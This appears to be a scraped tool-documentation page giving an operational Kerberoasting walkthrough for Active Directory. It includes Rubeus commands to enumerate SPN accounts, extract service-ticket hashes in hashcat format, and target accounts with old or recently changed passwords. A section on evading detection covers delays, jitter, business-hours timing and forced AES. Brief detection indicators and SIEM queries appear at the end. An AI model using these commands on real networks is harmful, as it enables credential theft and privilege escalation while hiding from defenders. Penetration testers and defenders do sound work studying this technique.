Perform Kerberoasting attacks to extract service account credentials
Kerberoasting is one of the most effective post-compromise attacks for escalating privileges in Active Directory environments by targeting service accounts with weak passwords.
Kerberoasting attacks request service tickets for accounts with Service Principal Names (SPNs) and extract the ticket’s encrypted portion for offline password cracking. This technique exploits the fact that service tickets are encrypted with the target service account’s password hash.
Failed requests: Services that couldn’t be accessed
Copy
Ask AI
[*] Action: Kerberoasting[*] Target SPN : MSSQLSvc/sql01.corp.local:1433[*] Searching path 'LDAP://DC=corp,DC=local' for '(&(samAccountType=805306368)(servicePrincipalName=*))'[!] No users found to Kerberoast!
Common reasons for no results:
No service accounts with SPNs in target domain
Insufficient permissions to query LDAP
Target-specific filters too restrictive
Service accounts don’t allow TGS requests
Copy
Ask AI
[!] LDAP query failed!System.DirectoryServices.DirectoryServiceCOMException: The server is not operational.
Common error scenarios:
LDAP query failed: Domain controller unreachable
Access denied: Insufficient permissions for LDAP queries
No current user context: Need valid domain authentication
Discover service accounts and assess the target environment:
Copy
Ask AI
# Get statistics about service accountsRubeus.exe kerberoast /stats# Target administrative service accountsRubeus.exe kerberoast /ldapfilter:"admincount=1" /stats
2
OPSEC-Safe Extraction
Perform the actual kerberoasting with stealth considerations:
Copy
Ask AI
# OPSEC-safe kerberoasting with delaysRubeus.exe kerberoast /opsec /delay:5000 /jitter:30 /outfile:hashes.txt# Target specific high-value accountsRubeus.exe kerberoast /user:svc_sql /opsec /format:hashcat
# SQL Server service accountsRubeus.exe kerberoast /ldapfilter:"serviceprincipalname=MSSQLSvc*"# Exchange service accountsRubeus.exe kerberoast /ldapfilter:"serviceprincipalname=exchangeMDB*"# IIS/Web service accountsRubeus.exe kerberoast /ldapfilter:"serviceprincipalname=HTTP*"
Show Old Passwords
Copy
Ask AI
# Passwords not changed in 2+ years (likely weak)Rubeus.exe kerberoast /pwdsetbefore:"01/01/2022"# Service accounts with old passwordsRubeus.exe kerberoast /ldapfilter:"samaccountname=svc_*" /pwdsetbefore:"01/01/2023"
Show Recently Changed
Copy
Ask AI
# Recently changed passwords (may follow patterns)Rubeus.exe kerberoast /pwdsetafter:"01/01/2024"# Accounts changed in specific time windowRubeus.exe kerberoast /pwdsetafter:"06/01/2024" /pwdsetbefore:"08/01/2024"
Detection Risk: Kerberoasting generates TGS requests that can be monitored by security tools and may appear in domain controller logs.
Detection Vectors
Evasion Techniques
Defensive Countermeasures
Hide Domain Controller Logs
Event ID 4769 - Kerberos TGS Request:
High volume of TGS requests from single source
Requests for service accounts not typically accessed
RC4 encryption requests in AES-only environments
Requests for administrative service accounts
Show Network Monitoring
Unusual Kerberos traffic patterns
High frequency of TGS requests
Traffic to domain controllers from non-standard sources
LDAP queries for service principal names
Show Host-Based Detection
Processes making unusual Kerberos API calls
Memory access patterns consistent with ticket extraction
File creation in temp directories (hash output files)
Execution of password cracking tools
Hide Timing and Volume
Copy
Ask AI
# Implement delays between requestsRubeus.exe kerberoast /delay:10000 /jitter:50# Limit targeting to reduce noiseRubeus.exe kerberoast /user:specific_target /opsec# Spread operations over timeRubeus.exe kerberoast /resultlimit:5 /delay:30000
Show Request Patterns
Copy
Ask AI
# Use legitimate business hours# Schedule operations during 9-5 business hours# Mimic normal authentication patterns# Space requests to appear like normal service access# Target during high activity periods# Blend with legitimate authentication traffic
Show Technical Evasion
Copy
Ask AI
# Force AES encryption (less suspicious in modern environments)Rubeus.exe kerberoast /aes# Use specific domain controllersRubeus.exe kerberoast /dc:dc02.corp.local# Limit LDAP queriesRubeus.exe kerberoast /spn:"MSSQLSvc/sql01.corp.local:1433"
Show Detection Rules
SIEM Queries for Kerberoasting:
Copy
Ask AI
-- High volume TGS requestsSELECT * FROM eventsWHERE event_id = 4769GROUP BY source_ipHAVING COUNT(*) > 50WITHIN 1 HOUR-- RC4 requests for service accountsSELECT * FROM eventsWHERE event_id = 4769AND encryption_type = 'RC4'AND service_name LIKE 'svc_%'